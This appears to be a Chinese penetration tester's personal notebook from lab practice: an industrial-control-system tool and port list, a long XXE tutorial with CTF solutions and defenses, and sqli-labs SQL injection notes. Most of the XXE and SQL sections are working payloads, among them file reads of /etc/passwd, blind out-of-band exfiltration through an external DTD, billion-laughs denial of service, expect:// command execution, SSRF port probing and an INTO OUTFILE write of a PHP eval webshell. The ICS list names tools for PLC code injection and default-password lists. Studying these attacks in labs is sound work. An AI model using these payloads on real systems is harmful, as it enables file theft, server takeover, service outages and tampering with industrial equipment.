IOT(ICS)渗透测试工具包


https://github.com/hslatman/awesome-industrial-control-system-security  

http://www.secwk.com/2019/09/05/2773/

必备工具:

smod:Modbus渗透测试框架

         Protos ->protos -d 121.33.237.163 -v -i eth0  探测可能的协议 以此判断iot设备版本等。

plcscan( https://github.com/yanlinlin82/plcscan ):扫描PLC的Python脚本(西门子、modbus扫描)

NMAP s( https://nmap.org/book/man-nse.html ):扫描PLC的nmap脚本

mbtget( https://github.com/sourceperl/mbtget ):读取PLC的Perl脚本

plcinject( https://github.com/SCADACS/PLCinject ):向PLC注入代码的工具

SCADA关机工具SCADAShutdownTool是一种工业控制系统自动化和测试工具,可让安全研究人员和专家测试SCADA安全系统,枚举从属控制器,读取控制器的寄存器值并重写寄存器数据。
sixnet工具利用Sixnet RTU的工具。这个简单的命令行界面允许使用未公开的功能代码来获得root访问权限,并控制某些Sixnet系列工业控制设备上的基础Linux OS。
SCADAPASS著名的SCADA StrangeLove默认/硬编码密码列表。



工控设备协议常用端口及协议


标准协议常用端口

协议端口
Siemens S7/ICCP102
Modbus TCP502
IEC 60870-5-1042404
DNP3TCP/UDP 20000
EtherNet/IPTCP 44818/UDP 2222/UDP 44818
CodeSYs2455

BACnetUDP 47808
FL-netUDP 55000 to 55003
EtherCATUDP 34980
Foundation Fieldbus HSETCP/1089 to 1091, UDP/1089 to 1091

OPC UA BinaryVendor Application Specific
OPC UA Discovery ServerTCP/4840
OPC UA XMLTCP/80, TCP/443
PROFINETTCP/34962 to 34964, UDP/34962 to 34964
ROC PLusTCP/UDP 4000

供应商特定端口


供应商产品或协议端口
ABBRanger 2003游侠2003TCP/10307, TCP/10311, TCP/10364 to 10365, TCP/10407, TCP/10409 to 10410, TCP/10412, TCP/10414 to 10415, TCP/10428, TCP/10431 to 10432, TCP/10447, TCP/10449 to 10450, TCP/12316, TCP/12645, TCP/12647 to 12648, TCP/13722, TCP/13724, TCP/13782 to 13783, TCP/38589, TCP/38593, TCP/38600, TCP/38971, TCP/39129, TCP/39278
Emerson / FisherROC PlusTCP/UDP/4000
Foxboro/InvensysFoxboro DCS FoxApiTCP/UDP/55555
Foxboro/InvensysFoxboro DCS AIMAPITCP/UDP/45678
Foxboro/InvensysFoxboro DCS InformixTCP/UDP/1541
IconicsGenesis32 GenBroker (TCP)TCP/18000
Johnson ControlsMetasys N1TCP/UDP/11001
Johnson ControlsMetasys BACNetUDP/47808
OSIsoftPI ServerTCP/5450
SiemensSpectrum Power TGTCP/50001 to 50016, TCP/50018 to 50020, UDP/50020 to 50021, TCP/50025 to 50028, TCP/50110 to 50111
SNCGENeTCP/38000 to 38001, TCP/38011 to 38012, TCP/38014 to 38015, TCP/38200, TCP/38210, TCP/38301, TCP/38400, TCP/38700, TCP/62900, TCP/62911, TCP/62924, TCP/62930, TCP/62938, TCP/62956 to 62957, TCP/62963, TCP/62981 to 62982, TCP/62985, TCP/62992, TCP/63012, TCP/63027 to 63036, TCP/63041, TCP/63075, TCP/63079, TCP/63082, TCP/63088, TCP/63094, TCP/65443
TelventOASyS DNAUDP/5050 to 5051, TCP/5052, TCP/5065, TCP/12135 to 12137, TCP/56001 to 56099

所有端口按顺序排号:

协议港口
TCP / 502Modbus TCP
TCP / UDP / 1089基金会现场总线HSE
TCP / UDP / 1090基金会现场总线HSE
TCP / UDP / 1091基金会现场总线HSE
TCP / UDP / 1541Foxboro /英维思Foxboro DCS Informix
UDP / 2222以太网/ IP
TCP / 3480OPC UA发现服务器
TCP / UDP / 4000艾默生/ Fisher ROC Plus
UDP / 5050至5051Telvent OASyS DNA
TCP / 5052Telvent OASyS DNA
TCP / 5065Telvent OASyS DNA
TCP / 5450OSIsoft PI Server
TCP / 10307ABB游侠2003
TCP / 10311ABB游侠2003
TCP / 10364至10365ABB游侠2003
TCP / 10407ABB游侠2003
TCP / 10409至10410ABB游侠2003
TCP / 10412ABB游侠2003
TCP / 10414至10415ABB游侠2003
TCP / 10428ABB游侠2003
TCP / 10431至10432ABB游侠2003
TCP / 10447ABB游侠2003
TCP / 10449至10450ABB游侠2003
TCP / 12316ABB游侠2003
TCP / 12645ABB游侠2003
TCP / 12647至12648ABB游侠2003
TCP / 13722ABB游侠2003
TCP / UDP / 11001江森自控Metasys N1
TCP / 12135至12137Telvent OASyS DNA
TCP / 13724ABB游侠2003
TCP / 13782至13783ABB游侠2003
TCP / 18000标志性Genesis32 GenBroker(TCP)
TCP / UDP / 20000DNP3
TCP / UDP / 34962PROFINET
TCP / UDP / 34963PROFINET
TCP / UDP / 34964PROFINET
UDP / 34980以太网猫
TCP / 38589ABB游侠2003
TCP / 38593ABB游侠2003
TCP / 38000至38001SNC GENE
TCP / 38011至38012SNC GENE
TCP / 38014至38015SNC GENE
TCP / 38200SNC GENE
TCP / 38210SNC GENE
TCP / 38301SNC GENE
TCP / 38400SNC GENE
TCP / 38600ABB游侠2003
TCP / 38700SNC GENE
TCP / 38971ABB游侠2003
TCP / 39129ABB游侠2003
TCP / 39278ABB游侠2003
TCP / UDP / 44818以太网/ IP
TCP / UDP / 45678Foxboro /英维思Foxboro DCS AIMAPI
UDP / 47808BACnet / IP
TCP / 50001至50016西门子频谱电力TG
TCP / 50018至50020西门子频谱电力TG
UDP / 50020至50021西门子频谱电力TG
TCP / 50025至50028西门子频谱电力TG
TCP / 50110至50111西门子频谱电力TG
UDP / 55000至55002FL网接收
UDP / 55003FL网传输
TCP / UDP / 55555Foxboor /英维思Foxboro DCS FoxAPI
TCP / 56001至56099Telvent OASyS DNA
TCP / 62900SNC GENE
TCP / 62911SNC GENE
TCP / 62924SNC GENE
TCP / 62930SNC GENE
TCP / 62938SNC GENE
TCP / 62956至62957SNC GENE
TCP / 62963SNC GENE
TCP / 62981至62982SNC GENE
TCP / 62985SNC GENE
TCP / 62992SNC GENE
TCP / 63012SNC GENE
TCP / 63027至63036SNC GENE
TCP / 63041SNC GENE
TCP / 63075SNC GENE
TCP / 63079SNC GENE
TCP / 63082SNC GENE
TCP / 63088SNC GENE
TCP / 63094SNC GENE
TCP / 65443SNC GENE



http://www.elecfans.com/d/842603.html

https://blog.csdn.net/fragmentalice/article/details/41079413


XXE-lab靶场记录


php:

<?xml version="1.0"?><!DOCTYPE Aatrox [
<!ENTITY test SYSTEM  "
<user><username>&test;</username><password>Aatrox</password></user>

成功回显。



XXE(XML External Entity attack)XML外部实体注入攻击

导语

  XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load 默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。

  尽管XXE漏洞已经存在了很多年,但是它从来没有获得它应有的关注度。很多XML的解析器默认是含有XXE漏洞的,这意味着开发人员有责任确保这些程序不受此漏洞的影响。 比如今年7月刚爆出的微信支付XXE漏洞案例。

  libxml2.9.1及以后,默认不解析外部实体。可以在此了解libxml各版本具体改动情况。本次测试在Window下使用的php5.4.45(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。当XML声明中standalone值是yes的时候表示DTD仅用于验证文档结构,外部实体将被禁用。但它的默认值是no,而且有些parser会直接忽略这一项。

XML外部实体

  本文主要讲外部实体注入攻击,所以基本的XML语法就不过多的描述。主要看一下DTD-实体

  首先让我们了解一下基本的PAYLOAD结构:
mark
  DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。

实体分为一般实体和参数实体

  1. 一般实体的声明:<!ENTITY 实体名称 "实体内容">

   引用一般实体的方法:&实体名称;

  p.s.经实验,普通实体可以在DTD中引用,可以在XML中引用,可以在声明前引用,还可以在实体声明内部引用。

  2. 参数实体的声明:<!ENTITY % 实体名称 "实体内容">

   引用参数实体的方法:%实体名称;

  p.s.经实验,参数实体只能在DTD中引用,不能在声明前引用,也不能在实体声明内部引用。

  如果实体名称中出现如<的特殊字符,解析就会失败。为了避免这种情况,XML用实体引用替换特殊字符。XML预定义了五个实体引用,即用<、 >、 &、 &apos、 "替换<>&'"

DTD实体声明(重点)

  1. 内部实体声明

  <!ENTITY 实体名称 "实体的值">

  当引用一般实体时,由三部分构成:&实体名,当是用参数传入xml的时候,&需URL编码,不然&会被认为是参数间的连接符号。

  示例:

    <?xml version = "1.0" encoding = "utf-8"?>    <!DOCTYPE test [
    <!ENTITY writer "Dawn">
    <!ENTITY copyright "Copyright W3School.com.cn">
    ]>    <test>&writer;©right;</test>

  2. 外部实体声明

  <!ENTITY 实体名称 SYSTEM "URI/URL">

  外部实体可支持http、file等协议。不同程序支持的协议不同,如下图:
mark
  其中PHP支持的协议会更多一些,但是需要一定的扩展支持:
mark

  示例:

    <?xml version = "1.0" encoding = "utf-8"?>    <!DOCTYPE test [
    <!ENTITY file SYSTEM "file:///etc/passwd">
    <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
    ]>    <author>&file;©right;</author>

XXE的攻击与危害

  当我们了解清楚以上的信息后,我们就能理解如何构造外部实体注入攻击与它的危害性了。

如何构造外部实体注入攻击

  一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据。

  有回显的payload写法:

  1. 直接通过DTD外部实体声明。XML内容如下:

            <?xml version="1.0"?>        <!DOCTYPE ANY [
                    <!ENTITY test SYSTEM "file:///etc/passwd">
            ]>        <abc>&test;</abc>
  2. 通过DTD文档引入外部DTD文档,再引入外部实体声明。XML内容如下:

            <?xml version="1.0"?>        <!DOCTYPE a SYSTEM "http://localhost/evil.dtd">        <abc>&b;</abc>

    evil.dtd内容:

            <!ENTITY b SYSTEM "file:///etc/passwd">
  3. 通过DTD外部实体声明引入外部实体声明。XML内容如下:

            <?xml version="1.0"?>        <!DOCTYPE a [
                    <!ENTITY % d SYSTEM "http://localhost/evil.dtd">
            %d;
            ]>        <abc>&b;</abc>

    evil.dtd内容:

            <!ENTITY b SYSTEM "file:///etc/passwd">

    但是如果想通过如下声明是不可以的:

            <?xml version="1.0"?>         <!DOCTYPE a [
            <!ENTITY d SYSTEM "http://localhost/evil.xml">
            ]>        <abc>&d;</abc>

    测试发现这种实体调用外部实体,发现evil.xml中不能定义实体,否则解析不了,参数实体就好用很多。

  无回显的payload写法:

  1. 第一种无回显示payload写法:

            <?xml version="1.0"?>         <!DOCTYPE a [
            <!ENTITY % file SYSTEM "file:///c://test/1.txt">
            <!ENTITY % dtd SYSTEM "http://localhost/evil.xml"> 
            %dtd; %all; 
            ]>         <abc>&send;</abc>

    其中evil.xml文件内容为

             <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost%file;'>">

    调用过程为:参数实体dtd调用外部实体evil.xml,然后又调用参数实体all,接着调用实体send。

  2. 第二种无回显payload写法:

            <?xml version="1.0"?>        <!DOCTYPE a [
            <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
            <!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
            %dtd;
            %send;
            ]>        <abc></abc>

    其中evil.xml文件内容为:

            <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;

    调用过程和第一种方法类似,但最里层的嵌套里%要进行实体编码成%。无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。

  这里注意参数实体引用%file;必须放在外部文件里,因为根据这条 规则 。在内部DTD里,参数实体引用只能和元素同级而不能直接出现在元素声明内部,否则解析器会报错: PEReferences forbidden in internal subset。这里的        internal subset指的是中括号[]内部的一系列元素声明,PEReferences 指的应该是参数实体引用 Parameter-Entity Reference 。

  一般都使用第二种方法,因为当文件中含有中文字符或<字符,会导致不能解析。

XXE带来的危害

  利用xxe漏洞可以进行文件读取,拒绝服务攻击,命令(代码)执行,SQL(XSS)注入,内外扫描端口,入侵内网站点等。内网探测和入侵是利用xxe中支持的协议进行内网主机和端口发现,可以理解是使用xxe进行SSRF的利用,基本上啥都能做。

  首先准备一个有XXE漏洞的文件,本次测试以php为主:

    <?php    $xml = simplexml_load_string($_REQUEST['xml']);
    echo "<pre>" ;
    print_r($xml);//注释掉该语句即为无回显的情况    ?>

危害1.读取任意文件

有回显情况:

    <?xml version="1.0"?>    <!DOCTYPE ANY [
    <!ENTITY test SYSTEM "file:///E://phpStudy/PHPTutorial/WWW/etc/passwd.txt">
    ]>    <abc>&test;</abc>

mark

无回显情况:

  本次测试用的phpStudy,需开启apache日志记录并重启服务。当无回显情况时,可以讲数据发送到远程服务器。

    <?xml version="1.0"?>    <!DOCTYPE a [
    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=E://phpStudy/PHPTutorial/WWW/etc/passwd.txt">
    <!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
    %dtd;
    %send;
    ]>    <abc></abc>

远程服务器部署evil.xml内容为:

    <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;

mark

YWRtaW46OnBhc3N3b3JkIQ0KdGVzdDo6cGFzc3dkIQ==Base64解码即可。

  通过此方法可以读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件、获取帐号密码后进一步攻击。如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。

危害2.拒绝服务攻击

    <?xml version="1.0"?>    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>    <lolz>&lol9;</lolz>

  此示例就是著名的Billion laughs attack该攻击是通过创建一项递归的 XML 定义,在内存中生成十亿个"Ha!"字符串,从而导致 DoS 攻击。

  原理:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。

危害3.远程命令(代码)执行

    <?xml version="1.0"?>    <!DOCTYPE ANY [
    <!ENTITY test SYSTEM "expect://id">
    ]>    <abc>&test;</abc>

  此示例是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能有此漏洞。

危害4.内网信息探测

  利用http协议http://url/file.ext,替换标准poc中相应部分即可,这种情况比较不稳定,根据不同xml解析器会得到不同的回显报错结果。

有回显情况:

    <?xml version="1.0"?>    <!DOCTYPE ANY [
    <!ENTITY test SYSTEM "http://127.0.0.1:87/tets.txt">
    ]>    <abc>&test;</abc>

  当端口开放时,如80端口:
mark

  当端口未开放时,如81端口:
mark

无回显情况:

    <?xml version="1.0"?>    <!DOCTYPE a [
    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:81/">
    <!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
    %dtd;
    %send;
    ]>    <abc></abc>

远程服务器部署evil.xml内容为:

    <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;

  观察日志文件即可。

  当端口开放时,如80端口:
mark

  当端口未开放时,如81端口:
mark

  有的无回显的情况还可以通过抓包看响应头返回的状态码,返回的报错信息等判断。

危害5.攻击内网网站

难得搭建环境,就直接引用网上的例子吧:

mark

这个示例是攻击内网strusts2网站,远程执行系统命令。

还可部署bash文件建立监听,获得反弹shellcode等。

由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。

CTF题目

  本人是个CTFer,所以再结合两道CTF题目,更加深入理解此攻击。

JarvisOJ——api调用

请设法获得目标机器/home/ctf/flag.txt中的flag值。

题目入口:http://web.jarvisoj.com:9882/

先查看源码:
mark
再看响应:
mark
  开始以为是考反序列化,但根据提示和结果发现不是。这个页面仅仅是向后台发送请求,后台再响应返回几个特定的字符串,修改请求值,发现返回与前台的输入没多大关系。最后,知道是XXE。

  这道题目,默认的是json格式传递,因此首先我们更改Content-Type的值为application/xml,然后传入xml代码:

    <?xml version=”1.0″?>    <!DOCTYPE a[
    <!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">]>    <abc>&xxe;</abc>

mark

DDCTF——喝杯Java冷静下

http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/

提示:第二层关卡应用版本号为2.3.1

此题目有点难,由于技术不到位,有的地方不是很清楚就不误导读者了。

直接看看大佬的姿势吧:

DDCTF2018 WEB6 喝杯Java冷静下 WRITEUP —— LZ1Y

DDCTF 2018 Web Writeup —— 白帽100安全攻防实验室

真实案例

XXE自动化工具

  XXEinjector:一款功能强大的自动化XXE注射工具。

  本文就不具体演示、讲述此工具了。推荐一篇文章,详细的讲述了其使用方法,最后还附了XXEinjector工具的下载。

寻找XXE

检测xml是否被解析

  尝试注入特殊字符,使XML失效,引发解析异常,明确后端使用XML传输数据。

  • 单双引号 ' " :XML的属性值必须用引号包裹,而数据可能进入标签的属性值。

  • 尖括号< > :XML的开始/结束标签用尖括号包裹,数据中出现尖括号会引发异常。

  • 注释符<!-- :XML使用<!-- This is a comment -->作注释。

  • & :& 用于引用实体。

  • CDATA 分隔符]]> :<![CDATA[foo]]>中的内容不被解析器解析,提前闭合引发异常。

检测是否支持外部实体解析

  尝试利用实体和DTD。

  • 引用外部DTD文件访问内网主机/端口 :<!DOCTYPE a SYSTEM "http://127.0.0.1:2333">(看响应时间)

  • 引用外部DTD文件访问外网 :<!DOCTYPE a SYSTEM "http://vps_ip" >

  • 引用内部实体 :<!DOCTYPE a [<!ENTITY xxe "findneo">]><a>&xxe;</a>

  • 外部实体读本地文件 :<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><a>&xxe;</a>

  • 外部实体访问内网主机/端口 :<!DOCTYPE a SYSTEM "http://192.168.1.2:80">(看响应时间)

  • 外部实体访问外网 :<!DOCTYPE a [<!ENTITY xxe SYSTEM "http://vps_ip">]><a>&xxe;</a>

  • 判断问题存在可以OOB提取数据。

XXE的防御

  • 使用开发语言提供的禁用外部实体的方法

  PHP

  libxml_disable_entity_loader(true);

  JAVA

          DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

          dbf.setExpandEntityReferences(false);

  Python

  from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

  • 过滤用户提交的XML数据

  过滤关键词:<!DOCTYPE<!ENTITY,或者SYSTEMPUBLIC

参考资料

  1. http://www.freebuf.com/column/156863.html

  2. https://security.tencent.com/index.php/blog/msg/69

  3. https://xz.aliyun.com/t/2571#toc-10

  4. http://www.w3school.com.cn/dtd/



sqli-labs靶场记录


level 1 单引号注入  表现在单引号 然后and 1=1 and 1=2    搞定。

payload:?id=1'(单引号)


level 2 数值型注入  表现在id=1 与id=2-1相同 然后说明是数值型注入,然后需要查看有没有显示位置,所以需要制造一个不存在的ID值如8888 得到显示位为2,3,然后
database() -》  user() ->root@localhost等    搞定。

payload:?id=2-1   ==>  ?id=1


level 3 引号字符型注入  表现在'不正常 但是') 又正常。  搞定。

payload:?id=1')时  and 1=1 --+ 与and 1=2 --+差异回显。


level 4 引号字符型注入   "  |  ")    搞定。

payload:?id=1")时  and 1=1 --+ 与and 1=2 --+差异回显。


level 5,6    无报错显示位置  三种报错函数:   无报错位置 需要制造报错函数

http://127.0.0.1/sqli-labs/Less-5/?id=1444%27%20and%20(select%201%20from%20(select%20count(*),concat(((select%20concat(schema_name,%27;%27)%20from%20information_schema.schemata%20limit%200,1)),floor%20(rand(0)*2))x%20from%20information_schema.schemata%20group%20by%20x)a)%20--+   #爆数据库


and (select 1 from (select count(*),concat(((select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+


龟速..,    0为起始位置,1为跨度

and updatexml(1,payload,1)

and extractvalue(1, payload)

LV 7往外写文件..  需要 知道一个绝对路径  导入:   已搞定

http://127.0.0.1/sqli-labs/Less-7/?id=122%27))%20union%20select%201,2,3%20into%20outfile%20%22E:\\hi.txt%22--+


   #先在数据库里show variables like '%secure%';查看是否NULL,为NULL要成功写入必须要先在mysql.ini里加入secure_file_priv=

  • secure_file_priv为null    表示不允许导入导出

  • secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹

  • secure_file_priv没有设置时,则表示没有任何限制

Payload:?id=1')) union select 1,'2','<?php @eval($_POST["xx"]);?>' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\xiaoha2i.php' %23


导出:

Payload:id=(('1')) union select 1,load_file ('D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\xiaoha2i.php'),'3' #'))


lv8 布尔盲注  根据返回是否正确来判断。。 

http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and%20LENGTH(database())%20%3E=%207%20%23  #数据库长度   ->  判断  ascii ->得到库名security


LV9 -LV10跳过。单双引号 
LV11  post型注入:   单引号注入

1.a' or '1'='1
2.admin' -- 
3.a'or 1=1 #

LV12 双引号注入
admin ") or 1=1 --   双引号注入。
或admin ") or 1=1 #

LV13   单引号变形  #封闭()
admin')or '1'='1'#

LV14  双引号变形 #封闭()
admin" or "1"="1

LV15 LV16 布尔盲注先跳过。
LV17  基于xml参数更新注入,

可以在mysql里练习 select concat(0x5e24,(select @@port),0x5e24);


a’ and updatexml(1,concat(0x5e24,(select <span id="kM0.17083351063526164">@<span id="kM0.5735300782977382">@port)</span></span>,0x5e24),1)# 无效语句。。

uname=admin&passwd=1' and (updatexml(1,concat(0x5c,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x5c),1))#submit=submit 他娘的还得在本机才成功。

LV18  日了你的仙人板板 一直不出现user-agent: 重装后好了。。
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '